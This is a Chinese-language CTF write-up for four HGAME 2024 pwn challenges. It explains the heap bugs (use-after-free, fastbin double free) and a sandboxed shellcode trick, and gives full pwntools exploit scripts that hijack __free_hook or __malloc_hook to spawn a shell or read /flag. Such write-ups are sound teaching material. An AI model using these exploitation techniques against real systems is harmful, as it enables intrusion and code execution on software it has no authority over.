nyyyddddn

hgame2024week2_pwn_wp

2024/02/14

pwn

Elden Ring Ⅱ

一个heap manager相关的题目,glibc 2.31,没有pie,包括add edit show delete四个功能,在delete这里有一个uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void delete_note()
{
unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

printf("Index: ");
__isoc99_scanf("%u", &v0);
if ( v0 <= 0xF )
{
if ( notes[v0] )
free((void *)notes[v0]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
}

通过uaf 去写 tcache 的 next指针为 puts_got的地址,分配到put_got上,用show去泄露libc_base,然后写free_hook为system,去free一块 内容是/bin/sh的堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "47.100.137.175"
PORT = 31853

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size):
sla(">","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))

def delete_note(idx):
sla(">","2")
sla("Index: ",str(idx))

def edit_note(idx,content):
sla(">","3")
sla("Index: ",str(idx))
sa("Content: ",content)

def show_note(idx):
sla(">","4")
sla("Index: ",str(idx))

p = connect()


add_note(0,0x70)
add_note(1,0x70)

delete_note(0)
delete_note(1)

puts_got = elf.got['puts']

edit_note(1,p64(puts_got))
add_note(2,0x70)
add_note(3,0x70)

show_note(3)

libc_base = r_leak_libc_64() - libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(libc_base))
success(hex(free_hook))

add_note(4,0x70)
add_note(5,0x70)
delete_note(4)
delete_note(5)

edit_note(5,p64(free_hook))

add_note(6,0x70)
add_note(7,0x70)

edit_note(7,p64(system))
edit_note(6,b'/bin/sh')

delete_note(6)


# g(p)




p.interactive()

fastnote

咱好笨,想了好久才做出来,学到新思路了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%u", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3u:
delete();
break;
case 1u:
add();
break;
case 2u:
show();
break;
default:
goto LABEL_12;
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 > 0xF )
{
puts("There are only 16 pages.");
}
else
{
ptr = (void *)notes[v1];
if ( ptr )
{
free(ptr);
ptr = 0LL;
}
else
{
puts("No such note.");
}
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 add()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF

*(_QWORD *)&size[1] = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 > 0xF )
{
puts("There are only 16 pages.");
}
else
{
while ( 1 )
{
printf("Size: ");
__isoc99_scanf("%u", size);
if ( size[0] <= 0x80u )
break;
puts("Too big!");
}
v0 = v2;
notes[v0] = malloc(size[0]);
printf("Content: ");
read(0, (void *)notes[v2], size[0]);
}
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( notes[v1] )
{
puts((const char *)notes[v1]);
}
else
{
puts("No such note.");
}
return __readfsqword(0x28u) ^ v2;
}

有 add show delete三个功能,delete那存在一个uaf,这个麻烦的地方往堆块写入数据和创建堆块的功能合在一起了,也就是不能直接通过uaf往free掉的堆块里面写数据,但是可以通过double free fastbin构造一个这样的链 main_arena -> A -> B -> A

通过第一次malloc往 A fd位置写入free_hook的地址,这样这个链就变成 main_arena -> A -> B -> A -> free_hook

第二次malloc把B卸下来,第三次malloc把A卸下来,第四次malloc就会分配到free_hook那了

在free_hook中写system的地址,然后去free一个内容为binsh的堆,相当于执行system(binsh)

然后还有个问题就 通过unsortedbin去泄露libc那,如果unsortedbin和top chunk中间没有东西挡着的话,会合并在一起,因为程序有pie,那只能通过unsortedbin去泄露main_arena的地址算libc的基地址,如果没有pie的话,那改fastbin 或者 tcache的fd next为got表然后show就能泄露了,不过这里edit和add合在一起了,tcache bin有一个key的检查,所以通过tcache bin的思路是不行的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "47.100.137.175"
PORT = 30932

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size,content):
sla("Your choice:","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))
sa("Content: ",content)

def delete_note(idx):
sla("Your choice:","3")
sla("Index: ",str(idx))


def show_note(idx):
sla("Your choice:","2")
sla("Index: ",str(idx))

p = connect()

for i in range(9):
add_note(i,0x80,"AAAAAA")

for i in range(8):
delete_note(i)


show_note(2)
tcache_key = u64(rl()[:-1].ljust(8,b'\x00')) - (0x561c766e7320 - 0x561c766e7000)
success(f"tcache_key ->{hex(tcache_key)}")

show_note(7)
libc_base = r_leak_libc_64() - (0x7ff83873ebe0 - 0x7ff838552000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")

# 还原 bin状态
for i in range(8):
add_note(i,0x80,"AAAAAA")


# 分配两个fastbin
for i in range(9):
add_note(i,0x70,"BBBB")

for i in range(9):
delete_note(i)

# main_arena -> 8 -> 7
# main_arena -> 7 -> 8 -> 7 -> free_hook
delete_note(7)

for i in range(7):
add_note(i,0x70,"BBBB")

add_note(7,0x70,p64(free_hook))
add_note(11,0x70,b"/bin/sh")
add_note(7,0x70,"CCCCCCC")
add_note(7,0x70,p64(system))

delete_note(11)
# g(p)


p.interactive()

ShellcodeMaster

好巧妙这一题,没有pie 有一个沙箱 把execve 和 execveat给禁用了

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init();
sandbox(argc, argv);
buf = (void *)(int)mmap((void *)0x2333000, 0x1000uLL, 7, 34, -1, 0LL);
puts("I heard that a super shellcode master can accomplish 2 functions with 0x16 bytes shellcode\n");
read(0, buf, 0x16uLL);
puts("Love!");
mprotect(buf, 0x1000uLL, 4);
JUMPOUT(0x2333000LL);
}

有个mprotect() 把写的权限给去掉了,然后在后边有这么一段把mprotect(buf, 0x1000uLL, 4); 残留的寄存器给清空了,还有rbp rsp也改成 2333h,也就是不能通过push pop去修改寄存器,push和pop 指令只占一个字节,0x16字节打orw显然是不够的,思路是用mprotect把mmap出来的段写的权限恢复,然后再read一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000000000401386 49 C7 C7 00 30 33 02          mov     r15, 2333000h
.text:000000000040138D 48 C7 C0 33 23 00 00 mov rax, 2333h
.text:0000000000401394 48 C7 C3 33 23 00 00 mov rbx, 2333h
.text:000000000040139B 48 C7 C1 33 23 00 00 mov rcx, 2333h
.text:00000000004013A2 48 C7 C2 33 23 00 00 mov rdx, 2333h
.text:00000000004013A9 48 C7 C4 33 23 00 00 mov rsp, 2333h
.text:00000000004013B0 48 C7 C5 33 23 00 00 mov rbp, 2333h
.text:00000000004013B7 48 C7 C6 33 23 00 00 mov rsi, 2333h
.text:00000000004013BE 48 C7 C7 33 23 00 00 mov rdi, 2333h
.text:00000000004013C5 49 C7 C0 33 23 00 00 mov r8, 2333h
.text:00000000004013CC 49 C7 C1 33 23 00 00 mov r9, 2333h
.text:00000000004013D3 49 C7 C2 33 23 00 00 mov r10, 2333h
.text:00000000004013DA 49 C7 C3 33 23 00 00 mov r11, 2333h
.text:00000000004013E1 49 C7 C4 33 23 00 00 mov r12, 2333h
.text:00000000004013E8 49 C7 C5 33 23 00 00 mov r13, 2333h
.text:00000000004013EF 49 C7 C6 33 23 00 00 mov r14, 2333h
.text:00000000004013F6 41 FF E7 jmp r15
.text:00000000004013F6
.text:00000000004013F6 main endp

但是搓了很久,最短的汇编都要23个字节,差一个字节

1
2
3
4
5
6
7
8
9
10
11
shellcode = asm('''
mov ax,10
mov edi,r15d
mov dx,7
syscall
xor eax,eax
mov esi,edi
xor edi,edi
xor edx,esi
syscall
''')

执行完mprotect后 rcx寄存器 有一个地址是能用的,可以用rcx寄存器作为基地址残留下来的rdx作为read的长度再read一次,然后通过输入修改rdx寄存器 再syscall一次read,但是 0x7的长度 算上填充就不够用了,后面发现 mprotect是有四个标志位的,所以 rdx为0xf也是能mprotect成功的,试了一下五个标志位,发现mprotect失败了,所以rdx最多为 0xf。0xf的话长度就够了,这样就通过两次read 间接的修改寄存器绕过了长度限制,然后写orw就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "106.15.72.34"
PORT = 31558

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


p = connect()

# RAX 0x2333
# RBX 0x2333
# RCX 0x2333
# RDX 0x2333
# RDI 0x2333
# RSI 0x2333
# R8 0x2333
# R9 0x2333
# R10 0x2333
# R11 0x2333
# R12 0x2333
# R13 0x2333
# R14 0x2333
# R15 0x2333000 ◂— xor rdi, rdi
# RBP 0x2333
# RSP 0x2333
# *RIP 0x2333000 ◂— xor rdi, rdi

shellcode = asm('''
mov ax,10
shl edi,12
mov dx,0xf
syscall

xor eax,eax
xor edi,edi
mov esi,ecx
syscall
''')
print(len(shellcode))

ru("shellcode")
# g(p)
s(shellcode)


# RAX 0xfffffffffffffff4
# RBX 0x2333
# *RCX 0x233300d ◂— xor eax, eax /* 0x50fff31fe89c031 */
# RDX 0xf
# RDI 0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
# RSI 0x2333
# R8 0x2333
# R9 0x2333
# R10 0x2333
# *R11 0x306
# R12 0x2333
# R13 0x2333
# R14 0x2333
# R15 0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
# RBP 0x2333
# RSP 0x2333
# *RIP 0x233300d ◂— xor eax, eax /* 0x50fff31fe89c031 */
# ────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
# 0x4013f6 <main+276> jmp r15
# ↓
# 0x2333000 mov ax, 0xa
# 0x2333004 shl edi, 0xc
# 0x2333007 mov dx, 0xf
# 0x233300b syscall
# ► 0x233300d xor eax, eax
# 0x233300f mov esi, edi
# 0x2333011 xor edi, edi
# 0x2333013 syscall
# 0x2333015 add byte ptr [rax], al
# 0x2333017 add byte ptr [rax], al

shellcode = asm('nop') * (0x2333015 - 0x233300d)
# print(0xf - len(shellcode))
# 7

# *RAX 0xe
# RBX 0x2333
# RCX 0x2333015 ◂— mov dx, 0x80 /* 0x50f0080ba66 */
# RDX 0xf
# RDI 0x0
# RSI 0x233300d ◂— nop /* 0x9090909090909090 */
# R8 0x2333
# R9 0x2333
# R10 0x2333
# *R11 0x346
# R12 0x2333
# R13 0x2333
# R14 0x2333
# R15 0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
# RBP 0x2333
# RSP 0x2333
# RIP 0x2333015 ◂— mov dx, 0x80 /* 0x50f0080ba66 */

shellcode += asm('''
mov dl,0xff
mov al,0
syscall
''')
# g(p)
s(shellcode)

# RAX 0x0
# RBX 0x2333
# RCX 0x2333015 ◂— mov dl, 0xff /* 0x50f00b0ffb2 */
# RDX 0xff
# RDI 0x0
# RSI 0x233300d ◂— nop /* 0x9090909090909090 */
# R8 0x2333
# R9 0x2333
# R10 0x2333
# R11 0x346
# R12 0x2333
# R13 0x2333
# R14 0x2333
# R15 0x2333000 ◂— mov ax, 0xa /* 0x660ce7c1000ab866 */
# RBP 0x2333
# RSP 0x2333
# *RIP 0x2333019 ◂— 0x50f
# ────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
# 0x2333015 mov dl, 0xff
# 0x2333017 mov al, 0
# ► 0x2333019 syscall <SYS_read>
# fd: 0x0 (pipe:[434190])
# buf: 0x233300d ◂— nop /* 0x9090909090909090 */
# nbytes: 0xff
# 0x233301b add byte ptr [rax], al
# 0x233301d add byte ptr [rax], al
# 0x233301f add byte ptr [rax], al
# 0x2333021 add byte ptr [rax], al
# 0x2333023 add byte ptr [rax], al
# 0x2333025 add byte ptr [rax], al
# 0x2333027 add byte ptr [rax], al
# 0x2333029 add byte ptr [rax], al

shellcode = asm('nop') * 0x10
# 读入flag字符串
shellcode += asm('''
xor rax,rax
mov rdi,0
mov rsi,r15
syscall

mov rax,2
mov rdi,r15
mov rsi,0
syscall

xor rax,rax
mov rdi,3
mov rsi,r15
mov rdx,0x40
syscall

mov rax,1
mov rdi,1
mov rsi,r15
mov rdx,0x40
syscall
''')

s(shellcode)
# g(p)
s(b"/flag\x00")

p.interactive()

old_fastnote

和fastnote的代码逻辑一样,但是glibc变成了2.23,没有tcache,fastbin attack的时候会对size位做一个检查,如果不符合fastbin的大小就会报错,在__malloc_hook - 0x23的位置有一个合适的”size”位,通过fastbin attack 在 malloc_hook - 0x23位置分配一个chunk,然后把mallc_hook改成one_gadget就打通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
import itertools


context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "106.14.57.14"
PORT = 30407

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

def add_note(idx,size,content):
sla("Your choice:","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))
sa("Content: ",content)

def delete_note(idx):
sla("Your choice:","3")
sla("Index: ",str(idx))


def show_note(idx):
sla("Your choice:","2")
sla("Index: ",str(idx))

p = connect()



add_note(0,0x80,"AAAAA")
add_note(1,0x80,"AAAAA")

delete_note(0)
show_note(0)

leak_addr = u64(rl()[:-1].ljust(8,b'\x00'))
main_arena = leak_addr - (0x7f51dafc4b78 - 0x7f51dafc4b20)
libc_base = leak_addr - (0x7f13e2bc4b78 - 0x7f13e2800000)
global_max_fast = leak_addr + (0x7fe87fdc67f8 - 0x7fe87fdc4b78)
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']


success(f"libc_base ->{hex(libc_base)}")
success(f"main_arena ->{hex(main_arena)}")
success(f"global_max_fast ->{hex(global_max_fast)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"malloc_hook ->{hex(malloc_hook)}")
add_note(0,0x80,"AAAAA")


add_note(2,0x60,"BBBB")
add_note(3,0x60,"BBBB")
delete_note(2)
delete_note(3)
delete_note(2)

target = main_arena + (0x7f74237c4b4d - 0x7f74237c4b20)
success(hex(target))

one_gadget = libc_base + 0xf1247

add_note(2,0x60,p64(malloc_hook - 0x23))
add_note(3,0x60,b"BBBB")
add_note(2,0x60,"BBBB")
# g(p)
add_note(2,0x60,b'a' * 0x13 + p64(one_gadget))

p.sendlineafter(b'choice:',b'1')
p.sendlineafter(b'Index: ',str(2))
p.sendlineafter("Size: ",str(0x60))

p.interactive()

CATALOG
  1. 1. pwn
    1. 1.1. Elden Ring Ⅱ
    2. 1.2. fastnote
    3. 1.3. ShellcodeMaster
    4. 1.4. old_fastnote